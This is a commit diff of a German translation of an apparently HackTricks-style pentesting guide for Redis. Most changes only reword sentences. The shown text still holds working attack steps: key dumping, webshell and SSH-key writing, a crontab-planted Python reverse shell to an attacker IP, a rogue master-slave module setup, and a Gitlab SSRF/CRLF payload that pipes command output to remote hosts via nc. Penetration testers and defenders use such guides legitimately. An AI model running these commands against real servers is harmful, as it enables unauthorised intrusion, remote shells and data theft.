Translated ['src/network-services-pentesting/6379-pentesting-redis.md']

This commit is contained in:
Translator 2025-01-03 23:35:46 +00:00
parent f989307701
commit 0b81b00819

View File

@ -4,7 +4,7 @@
## Grundlegende Informationen
Aus [den Dokumenten](https://redis.io/topics/introduction): Redis ist ein Open-Source (BSD-lizenziert), in-memory **Datenstruktur-Speicher**, der als **Datenbank**, Cache und Nachrichtenbroker verwendet wird.
Von [den Dokumenten](https://redis.io/topics/introduction): Redis ist ein Open-Source (BSD-lizenziert), in-memory **Datenstruktur-Speicher**, der als **Datenbank**, Cache und Nachrichtenbroker verwendet wird.
Standardmäßig verwendet Redis ein textbasiertes Protokoll, aber Sie müssen beachten, dass es auch **ssl/tls** implementieren kann. Erfahren Sie, wie Sie [Redis mit ssl/tls hier ausführen](https://fossies.org/linux/redis/TLS.md).
@ -26,7 +26,7 @@ msf> use auxiliary/scanner/redis/redis_server
Redis ist ein **textbasiertes Protokoll**, Sie können einfach **den Befehl in einem Socket senden** und die zurückgegebenen Werte sind lesbar. Denken Sie auch daran, dass Redis mit **ssl/tls** betrieben werden kann (aber das ist sehr ungewöhnlich).
In einer regulären Redis-Instanz können Sie sich einfach mit `nc` verbinden oder Sie könnten auch `redis-cli` verwenden:
In einer regulären Redis-Instanz können Sie einfach mit `nc` verbinden oder Sie könnten auch `redis-cli` verwenden:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
@ -44,7 +44,7 @@ Es ist möglich, ein **Passwort** in der _**redis.conf**_-Datei mit dem Paramete
Außerdem kann ein **Benutzername** im Parameter `masteruser` innerhalb der _**redis.conf**_-Datei konfiguriert werden.
> [!NOTE]
> Wenn nur ein Passwort konfiguriert ist, ist der verwendete Benutzername "**default**".\
> Wenn nur ein Passwort konfiguriert ist, wird der verwendete Benutzername "**default**" sein.\
> Beachten Sie auch, dass es **keine Möglichkeit gibt, extern zu erkennen**, ob Redis nur mit Passwort oder Benutzername+Passwort konfiguriert wurde.
In Fällen wie diesem müssen Sie **gültige Anmeldeinformationen finden**, um mit Redis zu interagieren, sodass Sie versuchen könnten, es [**brute-force**](../generic-hacking/brute-force.md#redis) anzugreifen.\
@ -52,7 +52,7 @@ In Fällen wie diesem müssen Sie **gültige Anmeldeinformationen finden**, um m
```bash
AUTH <username> <password>
```
**Gültige Anmeldeinformationen** werden mit folgendem beantwortet: `+OK`
**Gültige Anmeldeinformationen** werden mit: `+OK` beantwortet
### **Authentifizierte Aufzählung**
@ -79,7 +79,7 @@ Finden Sie weitere interessante Informationen über weitere Redis-Befehle hier:
### **Datenbank dumpen**
Innerhalb von Redis sind die **Datenbanken Zahlen, die bei 0 beginnen**. Sie können herausfinden, ob jemand verwendet wird, indem Sie die Ausgabe des Befehls `info` im "Keyspace"-Abschnitt überprüfen:
Innerhalb von Redis sind die **Datenbanken Zahlen, die bei 0 beginnen**. Sie können herausfinden, ob jemand verwendet wird, indem Sie die Ausgabe des Befehls `info` im Abschnitt "Keyspace" überprüfen:
![](<../images/image (766).png>)
@ -96,9 +96,9 @@ KEYS *
GET <KEY>
[ ... Get Key ... ]
```
Falls Sie den folgenden Fehler `-WRONGTYPE Operation against a key holding the wrong kind of value` erhalten, während Sie `GET <KEY>` ausführen, liegt das daran, dass der Schlüssel möglicherweise etwas anderes als eine Zeichenfolge oder eine Ganzzahl ist und einen speziellen Operator benötigt, um ihn anzuzeigen.
Falls Sie den folgenden Fehler `-WRONGTYPE Operation against a key holding the wrong kind of value` erhalten, während Sie `GET <KEY>` ausführen, liegt das daran, dass der Schlüssel möglicherweise etwas anderes als eine Zeichenkette oder eine Ganzzahl ist und einen speziellen Operator benötigt, um ihn anzuzeigen.
Um den Typ des Schlüssels zu erfahren, verwenden Sie den Befehl `TYPE`, Beispiel unten für Listen- und Hash-Schlüssel.
Um den Typ des Schlüssels zu kennen, verwenden Sie den Befehl `TYPE`, Beispiel unten für Listen- und Hash-Schlüssel.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
@ -134,7 +134,7 @@ OK
10.85.0.52:6379> save
OK
```
Wenn die Webshell-Zugriffs-Ausnahme auftritt, können Sie die Datenbank nach der Sicherung leeren und es erneut versuchen. Denken Sie daran, die Datenbank wiederherzustellen.
Wenn der Webshell-Zugriff fehlschlägt, können Sie die Datenbank nach der Sicherung leeren und es erneut versuchen. Denken Sie daran, die Datenbank wiederherzustellen.
### Template Webshell
@ -182,6 +182,8 @@ OK
**Diese Technik ist hier automatisiert:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
Zusätzlich können Systembenutzer auch entdeckt werden, indem Sie mit `config set dir /home/USER` überprüfen, und nach Bestätigung kann ein neues `authorized_keys` in `/home/USER/.ssh/authorized_keys` geschrieben werden. Verwenden Sie [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh), um dies mit einer Benutzernamen-Wortliste zu bruteforcen und `authorized_keys` zu überschreiben.
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
@ -217,7 +219,7 @@ Diese Methode kann auch verwendet werden, um Bitcoin zu verdienen [yam](https
### LUA-Sandbox-Umgehung
[**Hier**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) können Sie sehen, dass Redis den Befehl **EVAL** verwendet, um **Lua-Code in einer Sandbox** auszuführen. Im verlinkten Beitrag können Sie sehen, **wie man es missbraucht**, indem man die **dofile**-Funktion verwendet, aber [anscheinend](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) ist dies nicht mehr möglich. Wenn Sie die **Lua**-Sandbox jedoch **umgehen** können, könnten Sie **beliebige** Befehle auf dem System **ausführen**. Außerdem können Sie im selben Beitrag einige **Optionen sehen, um DoS zu verursachen**.
[**Hier**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) können Sie sehen, dass Redis den Befehl **EVAL** verwendet, um **Lua-Code in einer Sandbox** auszuführen. Im verlinkten Beitrag können Sie sehen, **wie man es missbraucht**, indem man die **dofile**-Funktion verwendet, aber [offensichtlich](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) ist dies nicht mehr möglich. Wenn Sie die **Lua**-Sandbox jedoch **umgehen** können, könnten Sie **beliebige** Befehle auf dem System ausführen. Außerdem können Sie im selben Beitrag einige **Optionen sehen, um DoS zu verursachen**.
Einige **CVEs zur Umgehung von LUA**:
@ -225,7 +227,7 @@ Einige **CVEs zur Umgehung von LUA**:
### Master-Slave-Modul
Der Master-Redis synchronisiert alle Operationen automatisch mit dem Slave-Redis, was bedeutet, dass wir die verwundbare Redis als Slave-Redis betrachten können, das mit dem Master-Redis verbunden ist, den wir selbst kontrollieren. Dann können wir den Befehl in unser eigenes Redis eingeben.
Der Master-Redis synchronisiert alle Operationen automatisch mit dem Slave-Redis, was bedeutet, dass wir die verwundbare Redis als Slave-Redis betrachten können, das mit dem Master-Redis verbunden ist, den wir kontrollieren, und dann können wir den Befehl an unser eigenes Redis eingeben.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -237,7 +239,7 @@ redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF spricht mit Redis
## SSRF mit Redis
Wenn Sie **Klartext**-Anfragen **an Redis** senden können, können Sie **mit ihm kommunizieren**, da Redis die Anfrage zeilenweise liest und nur mit Fehlern auf die Zeilen antwortet, die es nicht versteht:
```
@ -253,7 +255,7 @@ Daher, wenn Sie eine **SSRF vuln** auf einer Website finden und Sie einige **Hea
### Beispiel: Gitlab SSRF + CRLF zu Shell
In **Gitlab11.4.7** wurde eine **SSRF**-Schwachstelle und eine **CRLF** entdeckt. Die **SSRF**-Schwachstelle befand sich in der **Importprojekt von URL-Funktionalität**, als ein neues Projekt erstellt wurde, und erlaubte den Zugriff auf beliebige IPs in der Form \[0:0:0:0:0:ffff:127.0.0.1] (dies wird auf 127.0.0.1 zugreifen), und die **CRLF**-Vuln wurde einfach ausgenutzt, indem **%0D%0A**-Zeichen zur **URL** hinzugefügt wurden.
In **Gitlab11.4.7** wurde eine **SSRF**-Schwachstelle und eine **CRLF** entdeckt. Die **SSRF**-Schwachstelle befand sich in der **Importprojekt von URL-Funktionalität**, als ein neues Projekt erstellt wurde, und erlaubte den Zugriff auf beliebige IPs in der Form \[0:0:0:0:0:ffff:127.0.0.1] (dies wird auf 127.0.0.1 zugreifen), und die **CRLF**-Vuln wurde ausgenutzt, indem einfach **%0D%0A**-Zeichen zur **URL** hinzugefügt wurden.
Daher war es möglich, **diese Schwachstellen auszunutzen, um mit der Redis-Instanz zu kommunizieren**, die **Warteschlangen** von **gitlab** verwaltet, und diese Warteschlangen auszunutzen, um **Codeausführung zu erhalten**. Die Payload für den Missbrauch der Redis-Warteschlange ist:
```
@ -262,10 +264,10 @@ sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
Und die **URL encode** Anfrage **missbraucht SSRF** und **CRLF**, um ein `whoami` auszuführen und die Ausgabe über `nc` zurückzusenden, ist:
Und die **URL-Encode**-Anfrage **missbraucht SSRF** und **CRLF**, um ein `whoami` auszuführen und die Ausgabe über `nc` zurückzusenden, ist:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_aus irgendeinem Grund (wie für den Autor von_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _woher diese Informationen stammen) funktionierte die Ausnutzung mit dem `git`-Schema und nicht mit dem `http`-Schema._
_aus irgendeinem Grund (wie beim Autor von_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _woher diese Informationen stammen) funktionierte die Ausnutzung mit dem `git`-Schema und nicht mit dem `http`-Schema._
{{#include ../banners/hacktricks-training.md}}